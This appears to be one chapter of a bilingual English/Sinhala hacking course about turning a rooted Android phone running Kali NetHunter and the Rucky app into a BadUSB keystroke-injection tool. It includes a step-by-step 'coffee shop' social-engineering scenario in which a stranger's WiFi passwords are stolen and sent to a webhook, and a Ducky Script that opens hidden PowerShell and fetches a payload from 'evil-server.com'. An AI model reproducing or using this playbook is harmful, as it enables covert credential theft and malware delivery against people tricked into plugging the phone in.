NETHUNTER OS v2025.1
CORE: ACTIVE BATTERY: 100% USB: OTG_MODE

PART 09: THE POCKET WEAPON

MISSION: CONVERTING ANDROID TO HID ATTACK VECTOR
TOOLS: KALI NETHUNTER // MAGISK // RUCKY

34. Why Android? (The Ultimate Disguise)

Imagine walking into a secure office. If you carry a laptop or a strange USB stick (Rubber Ducky), people might get suspicious. But everyone carries a smartphone. It's the ultimate camouflage.

Modern Android phones are essentially powerful Linux computers in your pocket. By modifying the Kernel (the bridge between software and hardware), we can teach the phone to act like a keyboard, mouse, or network adapter when plugged into a PC. This allows us to launch BadUSB attacks simply by asking, "Can I charge my phone on your laptop?"

34. ඇයි ඇන්ඩ්‍රොයිඩ්? (හොඳම වෙස්වලාගැනීම)
ඔයා බැංකුවකට හෝ ඔෆිස් එකකට ලැප්ටොප් එකක් උස්සන් ගියොත් හැමෝම බලනවා. අමුතු USB එකක් අතේ තිබුණොත් සැක හිතනවා. ඒත් ස්මාර්ට් ෆෝන් එකක්? ඒක හැමෝම ළඟ තියෙනවා. කවුරුත් සැක කරන්නේ නෑ.

ඇන්ඩ්‍රොයිඩ් කියන්නේ ලිනක්ස් (Linux) වලින් හැදුණු සිස්ටම් එකක්. අපිට පුළුවන් මේකේ හාඩ්වෙයාර් පාලනය කරන කොටස (Kernel) වෙනස් කරලා, ෆෝන් එක "කීබෝඩ් එකක්" විදිහට කම්පියුටර් එකට හඳුන්වා දෙන්න. එතකොට අපිට තියෙන්නේ නිකන්ම, "පොඩ්ඩක් ෆෝන් එක චාර්ජ් කරගන්නද?" කියලා අහලා කේබල් එක ගහන එක විතරයි. එතනින් එහාට ගේම ඉවරයි.

35. The Barrier: Root & Custom Kernels

CRITICAL REQUIREMENT:
You CANNOT do this on a normal phone. You need ROOT ACCESS and a CUSTOM KERNEL that supports HID (Human Interface Device).

By default, Android security prevents apps from controlling the USB port at a low level. To bypass this, we need:

  • Bootloader Unlock: Allows modifying the OS.
  • Magisk Root: Grants "Administrator" privileges to apps.
  • NetHunter Kernel: A special modified kernel that includes the "USB Gadget" drivers needed to emulate a keyboard/mouse.

Without these, your phone will just charge. With them, it becomes a weapon.

35. බාධක සහ අවශ්‍යතා (Root & Kernel)
සාමාන්‍ය කඩෙන් ගත්ත ෆෝන් එකක මේක කරන්න බෑ. ඇන්ඩ්‍රොයිඩ් ආරක්ෂක පද්ධතියෙන් USB පෝර්ට් එක පාලනය කරන එක බ්ලොක් කරලා තියෙන්නේ. මේ වැඩේට අපිට අනිවාර්යයෙන්ම පහත දේවල් ඕන:
1. Bootloader Unlock: ෆෝන් එකේ OS එක වෙනස් කරන්න ඉඩ ගන්න එක.
2. Root (Magisk): සිස්ටම් එකේ ලොකුම බලය (Admin Power) ගන්න එක.
3. NetHunter Kernel: මේක තමයි වැදගත්ම දේ. ෆෝන් එකේ සාමාන්‍ය කර්නල් එකෙන් USB කීබෝඩ් එකක් වෙන්න බෑ. ඒකට විශේෂයෙන් හදපු "NetHunter Kernel" එකක් ෆ්ලෑෂ් කරන්න ඕනේ. ඒකේ තමයි "USB Gadget Drivers" තියෙන්නේ.

36. Kali NetHunter (The OS)

Kali NetHunter is the mobile version of the famous Kali Linux hacking OS. It runs on top of Android. It doesn't replace your Android OS; it lives alongside it via a "Chroot" environment.

Once installed via the NetHunter App and Magisk, it gives you access to full desktop hacking tools (Metasploit, Nmap, Aircrack-ng) and, crucially, the HID Attacks Menu.

36. Kali NetHunter හඳුනාගැනීම
Kali Linux කියන්නේ හැකර්ලගේ ප්‍රධානම OS එකනේ. අන්න ඒකේ මොබයිල් වර්ෂන් එක තමයි Kali NetHunter කියන්නේ. මේක දාගත්තම අපේ ෆෝන් එක ඇතුළේ සම්පූර්ණ ලිනක්ස් කම්පියුටර් එකක් වැඩ කරනවා වගේ.

මේකේ විශේෂ "HID Attacks" කියලා මෙනු එකක් තියෙනවා. ඒකෙන් පුළුවන් අපේ කලින් කතා කරපු Ducky Scripts කෙළින්ම ෆෝන් එකෙන් රන් කරන්න.

[ ANDROID HARDWARE (USB PORT) ] | [ CUSTOM KERNEL (HID ENABLED) ] <--- The Bridge | [ ANDROID OS (APP LAYER) ] | +-----------------------------+ | KALI NETHUNTER APP | | [ HID Attack ] [ DuckHunter] | +-----------------------------+

37. The Toolkit: Rucky & USB Keyboard

Even without the full NetHunter suite, if you have a custom kernel, you can use standalone apps to launch attacks.

📱 Rucky (USB Rubber Ducky)
The best app for running Ducky Scripts on Android. It reads .txt script files and injects them via USB. It supports syntax highlighting and quick execution.
⌨️ USB Keyboard (App)
Turns your phone screen into a literal PC keyboard and mouse touchpad. Useful for manual control of a victim's PC.
🐉 NetHunter Terminal
Allows you to run Python scripts (like our WiFi stealer) directly from the phone's command line.

37. අවශ්‍ය ඇප්ස් (The Apps)
සම්පූර්ණ NetHunter එක දාගන්න අමාරු නම්, කර්නල් එක විතරක් දාගෙන මේ ඇප්ස් පාවිච්චි කරන්න පුළුවන්:
1. Rucky: මේක තමයි හොඳම ඇප් එක. අපි කලින් ලියපු Ducky Script ෆයිල්ස් කෙළින්ම මේකට ලෝඩ් කරන්න පුළුවන්. බට්න් එක ඔබපු ගමන් කම්පියුටර් එකට ගහලා තියෙන කේබල් එකෙන් ස්ක්‍රිප්ට් එක රන් වෙනවා.
2. USB Keyboard: මේකෙන් ෆෝන් එකේ ස්ක්‍රීන් එක මවුස් එකක් සහ කීබෝඩ් එකක් වෙනවා. අපිට අතින් PC එක පාලනය කරන්න ඕන වුණාම මේක මරු.

38. Scenario: The "Coffee Shop" Attack

Let's visualize how this works in real life. This is a "Social Engineering" combined with "Hardware Hacking" attack.

  1. Setup: You load the "WiFi Password Stealer" script into the Rucky app on your rooted Android.
  2. Approach: You sit next to a target in a coffee shop. You pull out a USB cable.
  3. Social Engineer: "Excuse me, my power bank died. Can I quickly charge my phone on your laptop for 2 minutes?"
  4. Execution: They say yes. You plug the phone. Rucky detects the connection. You tap "RUN".
  5. Result: In 5 seconds, the script runs, steals passwords, sends them to your Webhook. You say "Thanks!" and leave.

38. ප්‍රහාරක අවස්ථාව: කැෆේ එකේ මෙහෙයුම
අපි මේක ප්‍රායෝගිකව හිතාගමු. මේකේ තියෙන්නේ Social Engineering (රැවටීම) සහ Hacking එකතුවක්.
1. සූදානම: ඔයා ගෙදරදිම "WiFi Stealer" ස්ක්‍රිප්ට් එක ඔයාගේ ෆෝන් එකේ Rucky ඇප් එකට දාගන්නවා.
2. ප්‍රවේශය: කැෆේ එකක කෙනෙක් ළඟට ගිහින් අහනවා, "පොඩි උදව්වක් කරන්න පුළුවන්ද? මගේ පවර් බෑන්ක් එක බැස්සා. විනාඩි 2ක් ලැප් එකෙන් ෆෝන් එක චාර්ජ් කරගන්නද?" කියලා.
3. ප්‍රහාරය: එයා හා කිව්වම ඔයා කේබල් එක ගහනවා. කම්පියුටර් එකට පේන්නේ ෆෝන් එකක් විතරයි. හැබැයි ඔයා ෆෝන් එකෙන් "RUN" බට්න් එක ඔබනවා.
4. අවසානය: තත්පර 5න් පාස්වර්ඩ් ටික ඔයාගේ සර්වර් එකට යනවා. ඔයා "තැන්ක් යූ" කියලා යන්න යනවා.

39. Converting Ducky Script to Rucky

Rucky uses the same syntax as Rubber Ducky, but strictly follows Ducky Script 1.0. Here is a sample script optimized for Android deployment.

REM TITLE: Android Deployment Payload
REM AUTHOR: Sh4lu_z

DELAY 2000
REM Open Run Dialog
GUI r
DELAY 500

REM Launch Powershell Hidden
STRING powershell -W Hidden -NoP -NonI
ENTER
DELAY 1000

REM Execute Payload (Example)
STRING Start-Process "http://evil-server.com/payload.exe"
ENTER

39. Rucky සඳහා ස්ක්‍රිප්ට් ලිවීම
Rucky ඇප් එක පාවිච්චි කරද්දී Ducky Script 1.0 නීති අකුරටම පිළිපදින්න ඕනේ. විශේෂයෙන්ම DELAY (ප්‍රමාදය) අගයන් ටිකක් වැඩිපුර දෙන්න ඕනේ. මොකද ෆෝන් එකේ ඉඳන් කම්පියුටර් එකට සිග්නල් යද්දී පොඩි ලැග් (Lag) එකක් වෙන්න පුළුවන්.
උඩ තියෙන කෝඩ් එක `.txt` ෆයිල් එකක් විදිහට ෆෝන් එකට දාගෙන Rucky එකෙන් ඕපන් කරන්න.